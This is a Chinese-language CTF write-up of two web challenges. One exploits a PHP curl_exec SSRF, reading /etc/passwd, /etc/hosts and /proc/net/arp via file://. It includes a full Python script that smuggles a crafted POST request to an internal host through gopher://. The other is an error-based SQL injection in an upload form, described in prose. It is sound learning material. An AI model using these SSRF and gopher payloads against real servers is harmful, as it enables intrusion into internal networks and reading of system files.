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前言前言

前几天的网刃杯让我学到了很多，虽然在比赛过程中，环境很容易崩，但是整体的比赛体验还是蛮不错的。本

次只复现了Sign_in和upload。在此写一篇文章了总结一下。

Sign_in

比赛中说这是一个签到题，我个人感觉还是有难度的，至少比那个misc的流量分析要难得多。比赛之前，对ssrf
漏洞了解并不深入，比赛中做这个题也是懵逼了很久。这次借着这个题目深入总结一下。

话不多说，先上题目代码

 <?php
    highlight_file(__FILE__);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
?> 

题目代码很短，给人一种能轻松解出来的感觉。题目中出现了curl_exec函数，想必大家都知道这里是存在ssrf漏
洞的。

ssrf漏洞漏洞

我理解的ssrf就是客户端通过服务器当跳板，间接访问别的地址（目标地址，主要是内网）

造成这个漏洞的原因可能就是，该服务器提供了客户向其他服务器获取资源的一种服务，但是又没有对客户端

对请求的地址进行过滤，导致访问了不该访问的内容。

常见的能执行能导致ssrf漏洞的函数有

file_get_contents()
fsockopen()
curl_exec()

该题目中就用了第三个函数。
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我们可以采用file协议读取一些东西。比如etc/passwd，但是etc/passwd中并没有什么可贵的信息。继续读取
etc/hosts，发现了疑似内网的ip

看了师傅的wp才知道还可以读取路由表?url=file:///proc/net/arp，，做为菜鸡的我真的不知道。

读取路由表发现有许多IP地址。

这么多ip用笨方法一个个试。当然也可以抓包爆出来。子网掩码为255.255.255.0，所以只需要爆1到254就行。



这样就能找到那个内网的ip了。我们利用ssrf漏洞访问内网的主机。

发现要传一个a，那就接着传呗。

它说又要传一个b，但是依照传统的方法传b是行不通的，师傅们都是写脚本来搞的（看来python确实要抓紧学
了）

脚本完全体



import urllib
import requests
import urllib.parse

url='http://124.222.24.150:20003?url='
POST =\
"""

POST /?a=1 HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 3

X-Forwarded-For: 127.0.0.1

Referer: bolean.club

b=1

"""

tmp =urllib.parse.quote(POST)
new =tmp.replace('%0A','%0D%0A')
result ='_'+new
result =urllib.parse.quote(result)
exp='gopher://172.73.26.100:80/'+result
response=requests.get(url=url+exp).text
print(response)

它会提示GET a，POST b，接着还要让referer为bolean.club。最终造就了这样的脚本（测试环境可能不太好，
之前还能跑出来，现在一直给我400）这个脚本就用到了ssrf漏洞中的gopher协议

gopher协议协议

Gopher是Internet上一个非常有名的信息查找系统，在www没有出现之后，它渐渐没了昔日的辉煌。其实它和
www是差不多的，在某些情况下它可以代替http。

gopher协议支持发出GEt和POST请求，gopher协议是ssrf利用中最强大的协议。

gopher协议的基本格式

gopher://ip:port_{tcp/ip数据流}   注意这个下划线_（因为在执行这个协议时，这个端口后面的第一个字符是不会
被执行的，而我们一般用_来代替，而_也不会被显示出来）

也就有了脚本中的这一句

result ='_'+new

在gopher协议中发送HTTP的数据时，要对整个http数据包进行url编码，要注意 是，我们需要将换行的url编
码%0A转换为%0D%0A。

也有了脚本中的这一句



new =tmp.replace('%0A','%0D%0A')

upload
做了这个题目我才知道上传题也可以进行sql注入。同时也反映出审题的重要性。这么无厘头的方法不给提示真
的很难想。

上传一个php文件

题目让我们改type为ctf，我们抓包改

type。

访问不解析。不绕弯子了，这里要抓包进行sql注入，这里进行报错注入

先爆表



爆出了数据库为~upload (那里要多一个）根据前面报错得出后面的闭合符为')    )

接着爆表，发现表死活都爆不出来。剩下的就直接猜了，直接猜一手有flag表里有flag字段。

不得不说，关键时刻还得盲猜。flag的另一半就不必再赘述，可利用right函数把他显示出来。

结尾结尾

web有四个赛题，目前只复现出两个，剩下两个会在后续接着复现（只要环境还在）在我复现过程中，若有过程
或知识点方面的错误，欢迎师傅们能来指正。
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